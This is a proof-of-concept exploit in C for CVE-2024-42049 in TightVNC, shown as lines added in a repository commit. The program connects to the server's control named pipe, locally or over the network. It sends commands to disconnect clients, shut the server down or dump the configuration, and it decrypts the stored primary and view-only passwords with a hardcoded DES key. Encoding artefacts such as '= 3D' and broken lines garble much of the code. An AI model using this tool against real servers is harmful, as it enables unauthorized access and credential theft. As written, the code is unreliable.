1+ # Exploit Title: TightVNC 2.8.83 - Control Pipe Manipulation
2+ # Date : 06/09/2025
3+ # Exploit Author: Ionut Zevedei (
[email protected] )
4+ # Exploit Repository: https://github.com/zeved/CVE-2024-42049-PoC
5+ # Vendor Homepage: https://www.tightvnc.com/
6+ # Software Link: https://www.tightvnc.com/download.php
7+ # Version : 2.8.83
8+ # Tested on: Windows 10 x64 - TightVNC 2.5.10, 2.8.81
9+ # CVE : CVE-2024-42049
10+
11+ #include <windows.h> = 20
12+ #include <stdio.h>
13+ #include <conio.h>
14+ #include <tchar.h>
15+ #include "descrypt.h"
16+
17+ #define GETBYTE (x , n ) (((x) >> ((n) * 8)) & 0xFF)
18+ #define BUFFER_SIZE 512
19+
20+ #define TVNC_CMD_DISCONNECT_ALL_CLIENTS 0x06
21+ #define TVNC_CMD_GET_CLIENT_LIST 0x04
22+ #define TVNC_CMD_SHUTDOWN_SERVER 0x07
23+ #define TVNC_CMD_GET_SERVER_INFO 0x11
24+ #define TVNC_CMD_GET_CONFIG 0x12
25+
26+ const unsigned int commands [6 ] = 3D {
27+ TVNC_CMD_DISCONNECT_ALL_CLIENTS ,
28+ TVNC_CMD_GET_CLIENT_LIST ,
29+ TVNC_CMD_SHUTDOWN_SERVER ,
30+ TVNC_CMD_GET_SERVER_INFO ,
31+ TVNC_CMD_GET_CONFIG ,
32+ };
33+
34+ unsigned char des_key [8 ] = 3D { 23 , 82 , 107 , 6 , 35 , 78 , 88 , 7 };
35+
36+ void get_bytes (unsigned int data , unsigned char * out ) {
37+ out [0 ] = 3D GETBYTE (data , 3 );
38+ out [1 ] = 3D GETBYTE (data , 2 );
39+ out [2 ] = 3D GETBYTE (data , 1 );
40+ out [3 ] = 3D GETBYTE (data , 0 );
41+ }
42+
43+ // printf is wonky when printing passwords later
44+ void print_passwd (unsigned char * passwd ) {
45+ for (int i = 3D 0 ; i < 8 ; i ++ ) {
46+ printf ("%c" , passwd [i ]);
47+ }
48+ printf ("\n" );
49+ }
50+
51+ void print_error (unsigned long error_code ) {
52+ unsigned char * buffer ;
53+ = 20
54+ // damn it windows...
55+ FormatMessage (
56+ FORMAT_MESSAGE_ALLOCATE_BUFFER |
57+ FORMAT_MESSAGE_FROM_SYSTEM |
58+ FORMAT_MESSAGE_IGNORE_INSERTS ,
59+ NULL ,
60+ error_code ,
61+ MAKELANGID (LANG_NEUTRAL , SUBLANG_DEFAULT ),
62+ (LPTSTR ) & buffer ,
63+ 0 , NULL );
64+
65+ printf ("[error]: %s\n" , buffer );
66+ }
67+
68+ void decrypt_passwords (unsigned char * buffer_ptr , unsigned int offset ) {
69+ unsigned char primary_passwd [8 ] = 3D { 0x00 };
70+ unsigned char view_only_passwd [8 ] = 3D { 0x00 };
71+
72+ printf ("\n\tencrypted primary password: " );
73+ for (int i = 3D 0 ; i < 8 ; i ++ ) {
74+ primary_passwd [i ] = 3D buffer_ptr [offset + 8 + i ];
75+ printf ("%02x " , primary_passwd [i ]);
76+ }
77+ printf ("\n\tencrypted view-only password: " );
78+ for (int i = 3D 0 ; i < 8 ; i ++ ) {
79+ view_only_passwd [i ] = 3D buffer_ptr [offset + i ];
80+ printf ("%02x " , view_only_passwd [i ]);
81+ }
82+
83+
84+ unsigned char primary_passwd_decrypted [8 ] = 3D { 0x00 };
85+ unsigned char view_only_passwd_decrypted [8 ] = 3D { 0x00 };
86+
87+ decrypt (primary_passwd_decrypted , view_only_passwd ,
88+ sizeof (primary_passwd_decrypted ), des_key );
89+ decrypt (view_only_passwd_decrypted , primary_passwd ,
90+ sizeof (view_only_passwd_decrypted ), des_key );
91+
92+ printf ("\n\tdecrypted primary password: " );
93+ print_passwd (primary_passwd_decrypted );
94+ printf ("\tdecrypted view-only password: " );
95+ print_passwd (view_only_passwd_decrypted );
96+ }
97+
98+ BOOL open_pipe (PHANDLE handle_ptr , char * pipe_name ) {
99+ unsigned long pipe_mode ;
100+ BOOL result = 3D FALSE;
101+ printf ("[~] opening pipe %s...\n" , pipe_name );
102+
103+ while (1 ) {
104+ * handle_ptr = 3D CreateFile (
105+ pipe_name ,
106+ GENERIC_READ | GENERIC_WRITE ,
107+ 0 ,
108+ NULL ,
109+ OPEN_EXISTING ,
110+ FILE_FLAG_OVERLAPPED ,
111+ NULL
112+ );
113+
114+ if (* handle_ptr != 3D INVALID_HANDLE_VALUE ) {
115+ printf ("[+] pipe opened\n" );
116+ break ;
117+ }
118+
119+ if (GetLastError () != 3D ERROR_PIPE_BUSY ) {
120+ printf ("[-] could not open pipe\n" );
121+ print_error (GetLastError ());
122+ return FALSE;
123+ }
124+
125+ printf ("[~] waiting for named pipe to be available - if this hangs the =
126+ pipe server might be dead .\n ");
127+
128+ WaitNamedPipe (pipe_name , NMPWAIT_WAIT_FOREVER );
129+ }
130+
131+ pipe_mode = 3D PIPE_READMODE_BYTE ;
132+ result = 3D SetNamedPipeHandleState (* handle_ptr , & pipe_mode , NULL , NULL );
133+
134+ if (!result ) {
135+ printf ("[-] failed setting pipe read mode\n" );
136+ print_error (GetLastError ());
137+ return result ;
138+ }
139+
140+ return result ;
141+ }
142+
143+ int main (int argc , char * argv []) {
144+
145+ HANDLE pipe_handle = 3D NULL ;
146+ unsigned char message [8 ] = 3D { 0x00 };
147+ unsigned char buffer [BUFFER_SIZE ] = 3D { 0x00 };
148+ BOOL result = 3D FALSE;
149+ unsigned long bytes_read , bytes_written ;
150+ unsigned int cmd_index = 3D 0 ;
151+ unsigned int offset = 3D 30 ;
152+
153+ if (argc < 3 ) {
154+ printf ("usage: %s <command> <pipe> <offset?>\n" , argv [0 ]);
155+ printf ("offset - optional: default is 30 - change as needed\n" );
156+ printf ("commands:\n" );
157+ printf ("\t1 - disconnect all clients\n" );
158+ printf ("\t2 - get client list\n" );
159+ printf ("\t3 - shutdown server\n" );
160+ printf ("\t4 - get server info\n" );
161+ printf ("\t5 - get server config\n" );
162+ printf ("example pipes:\n\t\\\\192.168.1.42\\pipe\\TightVNC_Service_Cont=
163+ rol \n " );
164+ printf ("\t\\\\.\\pipe\\TightVNC_Application_Control_On_Session1\n\n" );
165+ return 0 ;
166+ }
167+
168+ char * stop = 3D NULL ;
169+ cmd_index = 3D strtol (argv [1 ], & stop , 10 );
170+
171+ if (stop = 3D = 3D '\0' ) {
172+ return 0 ;
173+ }
174+
175+ cmd_index -- ;
176+
177+ if (argc = 3D = 3D 4 ) {
178+ stop = 3D NULL ;
179+ offset = 3D strtol (argv [3 ], & stop , 10 );
180+
181+ if (offset = 3D = 3D 0 || stop = 3D = 3D '\0' ) {
182+ return 0 ;
183+ }
184+ }
185+
186+ if (!open_pipe (& pipe_handle , argv [2 ])) {
187+ goto exit ;
188+ }
189+
190+ printf ("[i] sending command...\n" );
191+ = 20
192+ get_bytes (commands [cmd_index ], message );
193+ result = 3D WriteFile (pipe_handle , message , 8 , & bytes_written , NULL );
194+
195+ if (!result ) {
196+ printf ("[-] failed writing to pipe\n" );
197+ print_error (GetLastError ());
198+ goto exit ;
199+ }
200+
201+ printf ("[~] message sent; waiting for reply\n" );
202+
203+ do {
204+ result = 3D ReadFile (
205+ pipe_handle ,
206+ buffer ,
207+ BUFFER_SIZE * sizeof (unsigned char ),
208+ & bytes_read ,
209+ NULL
210+ );
211+
212+ if (!result && GetLastError () != 3D ERROR_MORE_DATA )
213+ break ;
214+
215+ printf ("[+] got %d bytes back!\n" , bytes_read );
216+ printf (" hex: \n\t" );
217+
218+ for (int i = 3D 0 ; i < bytes_read ; i ++ ) {
219+ printf ("%02x " , buffer [i ]);
220+ }
221+
222+ printf ("\n char: \n\t" );
223+ for (int i = 3D 0 ; i < bytes_read ; i ++ ) {
224+ printf ("%c" , buffer [i ]);
225+ }
226+ printf ("\n\n" );
227+
228+ if (cmd_index = 3D = 3D 4 ) {
229+ printf ("\n[~] command is get config, attempting to decrypt passwords =
230+ using offset %d ...\n ", offset);
231+ decrypt_passwords (& buffer , offset );
232+ }
233+
234+ memset (buffer , 0 , BUFFER_SIZE );
235+ } while (!result );
236+
237+ if (!result )
238+ {
239+ printf ("[-] failed reading from pipe\n" );
240+ print_error (GetLastError ());
241+ goto exit ;
242+ }
243+
244+ printf ("\n[+] done\n\n" );
245+
246+ exit :
247+ if (pipe_handle != 3D NULL ) {
248+ CloseHandle (& pipe_handle );
249+ }
250+
251+ return 0 ;
252+ }
0 commit comments